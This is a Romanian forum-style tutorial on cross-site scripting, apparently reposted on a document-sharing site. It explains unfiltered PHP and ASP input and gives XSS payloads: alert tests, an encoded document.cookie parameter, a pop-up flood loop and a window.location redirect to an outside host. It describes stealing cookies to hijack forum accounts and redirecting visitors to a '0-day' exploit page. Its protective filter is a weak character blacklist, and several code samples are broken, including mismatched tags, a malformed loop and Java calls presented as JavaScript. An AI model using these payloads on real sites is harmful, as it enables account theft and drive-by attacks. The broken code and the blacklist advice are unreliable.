Sunteți pe pagina 1din 4

Tutorial "complet" despre XSS

Introducere:
1-XSS pentru incepatori!
2-XSS-Faq,Help,Attack
1-XSS pentru incepatori
Deobicei, pentru a gasi xss pe un site, hackerii se folosesc de:
Cod:
<script>alert(/hello/)</scripr>
Sau chiar
Cod:
"><script>alert(/hello/)</script>
Dar cred ca va cenit intrebarea Dece?
Cred ca stiti ca xss vulnerabilitatile apar din cauza filtrarii proaste a codulu
i
Cod:
<html>
<head>
<title>Xss Vulnerabilitate</title>
</head>
<!-- html --!><!--cel mai bine e daca folositi html--!>
.....................
<form action="" method=post>
<b>codul Dvs:</b></br></br> <input type="text" name="xss"></br></br>
<input type="submit" value="XSSvul"></br>
</form>
......................
<!mai departe e scriptul --!>
<?
if(isset($xss))
{
....
//Daca exista xss atunci vom indeplini
echo \'$test \'; // Aici este xss deoarece filtrul e slab de tot sau in genere n
u este!!!
Asa ceva se face atunci cind Dvs. va inregistrati pe un site si la urma va arata
loginul.
Iar acum puteti sa va imaginati ce va fi
Cod:
<script>alert(/hello/)</script>
daca veti vedea alerta, atunci puteti face o ataca, adica sa schimbati codul in
loc de <script>
Acesta este un exemplu de xss pasiv..
Iar acum veti vedea un exemplu de xss active!
}
else
{
Daca nu, iesim
exit;
}
<?
Deci sa vedem si un xss active!
Exista forumuri, chaturi, carte de oaspeti si nu va-ti gindit daca ar fi sa pune
ti in loc de cuvinte de exemplu:
Cod:
<script>alert(/hello/)</script>
Daca filtrul e rau, atunci noi iarasi putem scoate cookies!
Iata un exemplu de filtru:
Acum veti vedea un exemplu de filtru scris in php si care filtreaza $path iar in
locul ei, poti pune oricare altul
[PHP]<?
$message = str_replace("\\"","",$message);// filtreaza ghilimelele
$message = str_replace("\\\'","",$message);// filtreaza doar o parte a ghilimele
lor
$message = str_replace("<","",$message); // filtram < ca sa nu poata deschide ta
gurile
$message = str_replace(">","",$message);// filtram > ca san u poata inchide tagu
rile
$message = str_replace("#","",$message); // Simbol tare
$message = str_replace("/","",$message);// slash
$message = str_replace("script","",$message ); // cred ca singuri ati inteles de
ce
$message = str_replace("(","",$message); // filtreaza parantezele
$message = str_replace(")","",$message); // filtreaza parantezele
$message = str_replace("%","",$message); // % se foloseste in adresele url si de
aceea este primejdios
Cred ca acest script va va ajuta sa fiti mai aparati contra xss!
?>[/PHP]
Acum stiti cite ceva in planul securitatii contra XSS!
2-XSS-Faq,Help,Attack
De la inceput un mic faq despre XSS.
Vulnerabilitatile XSS in zilele noastre pot aduce pericole in lumea virtuala .
Dar mai intii toate le luam de la inceput.
Deci abriviatura XSS se descifreaza ca : "Cross Site Scripting". E bine sa-l num
im XSS insa nu CSS asa cum CSS a aparut mai devreme si se descifreaza ca : "Casc
ading Style Sheets" (se foloseste la perfecatarea unei pagine HTML).
Cross inseamna <cruce>, deaceea prima prima litera <C> este schimbata cu <X>.
XSS este o vulnerabilitate pe un server, ce permite introducerea unui script pe
pagina HTML de pe un server , ca rezultat , folosirea codului intr-o variabila c
u un continut nefiltrat.
Variabila nefiltrata este o variabila inaintea ce va fi folosita in script (de e
x: PHP) nu se verifica daca contine simboluri interzise ca : <>,\'," si multe al
tele.
Mai intii de toate continutul (insemnatatea) variabilei se transmite de la pagin
a HTML, incarcata in browser-ul utilizatorului (user-ului), scriptului PHP (prin
operatorii POST sau GET).
Operatorul POST transmite variabilile printr-un masiv, ce nu este aratat pe adre
sa din browser.
Operatorul GET este identificat pe adresa browser-ului astfel :
http://www.mysite.com/smile.php?name=News&file=article&sid=256&mode=&orde=0
Deci scriptului Smile.php se transmit variabilile :$name - cu continutul "News",
$file - cu continutul "article" s.m.d
Desigur e mai usor de utilizat operatorul Get, deaceea, hacker-ul salveaza pagin
a site-ului spart si in adresa.
Asa se sa inetializat ca majoritatea hacker-ilor folosesc XSS numai pentru capat
area cookies (cookies in majoritatea cazurilor pastreaza sesiunirile, in caz dac
a un hacker are cookies-urile unui alt utilizator de pe forum, asa cum pe forum
orice user se inregistreaza, v-a avea control asupra account-ului, clar daca par
ola nu este descifrata si chiar daca e asa nu e greu sa o descifrezi).
Insa bug-urile XSS nu se opresc doar aici.
Deci ce putem face noi cu ajutorul vulerabilitatilor XSS ?
1-) Scoterea nelimitatelor ferestre (exemplu mai jos), sau mesaje (metoda <confi
rm> sau <alert> ) ca rezultat oarecare procedura al utilizatorului (tastarea, in
trarea pe sait). Sau chiar redirectia pe un alt server.
Incercati sa introduceti urmatorul cod (fara schimbare) intr-un sait vulnerabil:
window.location.href=\'\'http://rohack.110mb.com"
Mai intii testind pe calculatorul personal, incercati urmatorul script. Cream un
fail 1.html cu un astfel de continut:
<Html>***
for(i=1;i]0;i++){open(\'1.html\',\'new\'+i);}
si deschidetil in orice browser
2-) Sa imprumutam informatia personala a user-ului. In primul rind aici va fi si
putina descriere a cookies-ului (document.cookie),adica si imprumutarea fiind u
n atribut de securitate a user-ului (pe aceasta tema) . Tot in aceasta tema intr
a si imprumutarea informatiei despre sistema user-ului si browser-ului (obiectul
navigator), IP, istoria site-urilor vazute inainte (obiectul history ca masiv;
pagina prezenta history[0], precedenta history[-1], in total pagini history.leng
th) si multe altele. Iata exemplu de un script ce intoarce adresa IP a user-ului
in variabila IP si numele computerului in variabila host (este testata in Opera
, Mozilla, Mozilla Firefox):
myAddress=java.net.InetAddress.getlocalHost();
myAddress2=java.net.InetAddress.getlocalHost();
host=myAddress.get.HostName();
ip=myAddress2.getHostAddress();
3-) Sunt foarte multe vulnerabilitati ale browser-urilor in care la prelucrarea
unui kod cheama DOS-ul, sau permite acces la unele file-uri sau altceva neplacut
user-ului. Cele mai des auzite vazute si folosite browser-e (Internet Explorer,
NetScape, Mozilla, MozillaFirefox, Opera) sunt vulnerabile. Ce sa facem cu un c
od, cynd un user a intrat pe un site cu o vulnerabilitate XSS ? Introducem un ex
ploit (Il putetzi gasi aici in thread-ul exploit-urilor cu denumirea de 0-day) i
n site-ul unde este vulnerabilitatea XSS astfel :
window.location.href=\'\'EXPLOIT\'\' (decin intre ghilimele in loc de cuvyntul E
XPLOIT folosim adresa unde se afla exploit-ul).
Acum victima cind va intra pe pagina serverului, unde noi am insertat kodul v-a
redicta pe pagina-exploit, unde v-a indeplini kodul dat. (In cazul nostru calc.e
xe)
Atyt... Clara ca posibilitatile XSS-ului sunt ft mari, nu le pot descrie eu sing
ur, vulnerabilitatile sunt tot mai multe si mai multe pe timp ce trece, insa cel
e mai importante si mai populare vor fi pe un post aparte.
Site Dvs. are probleme cu XSS sau Cross Site Scripting? Acesta este o problema f
oarte frecvent intilnita la multe siteuri, inclusiv foarte cunoscute de injectar
e de cod JavaScript in pagini din surse nesigure.
Ce probleme pot aparea? De multe ori este pur si simplu inofensiv insa pot apare
a si probleme serioase de gen - atac la conturi inregistrate, redirectari nedori
te sau popups si altele. De obicei nu sint probleme cind informatiile nu sint de
cit afisate si nu exista inregistrare de conturi sau cookies. In aceste cazuri n
u prea este mare lucru rau de facut. Insa in alte cazuri problemele pot fi impre
vizibile. Mad
In plus, este si o problema de prestigiu pentru un site cunoscut sa se spuna des
pre el ca are probleme de acest gen. Orice problema cit de mica ar trebui corect
ata imediat.
Problema apare din nefiltrarea parametrilor transmisi paginilor cind vine vorba
de afisari in pagina. In egala masura pot fi afectate pagini ASP sau PHP sau Per
l sau orice altceva. Majoritatea exemplelor gasite se refera la afisarea documen
t.cookie...
De exemplu pentru PHP este undeva (pagina.xxx):
Cod:
<?php echo "Parametrul dvs. este: ".$_GET[\'param\']; ?>
Sau pentru ASP:
Cod:
<% Response.Write "Parametrul dvs. este:" & Request.QueryString("param") %>
Pentru acest caz in mod normal exista link-uri care apeleaza pagina cu diversi p
arametri. Insa acesti parametri pot fi creati astfel incit sa execute cod JavaSc
ript ca venind din partea site-ului:
Cod:
pagina.xxx?param=1%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Asta pur si simplu o sa transforme pagina in:
Parametrul dvs. este:
Cod:
1<script>alert(document.cookie)</script>
Insa se pot face mult mai mult decit afisa cookie. De exemplu chema JS de pe alt
e servere care practic pot modifica pagina in foarte multe feluri. Acestea inter
vin mai ales cind codul injectat este salvat in baza de date (semnaturi, postari
, comentarii, etc.), care o sa fie afisat de fiecare data cind pagina e afisata.
Sau se pot modifica sau transmite cookie cu informatii despre sesiune sau infor
matii statistice, lucruri nedorite pe toate site-urile [ Varianta TXT ]

S-ar putea să vă placă și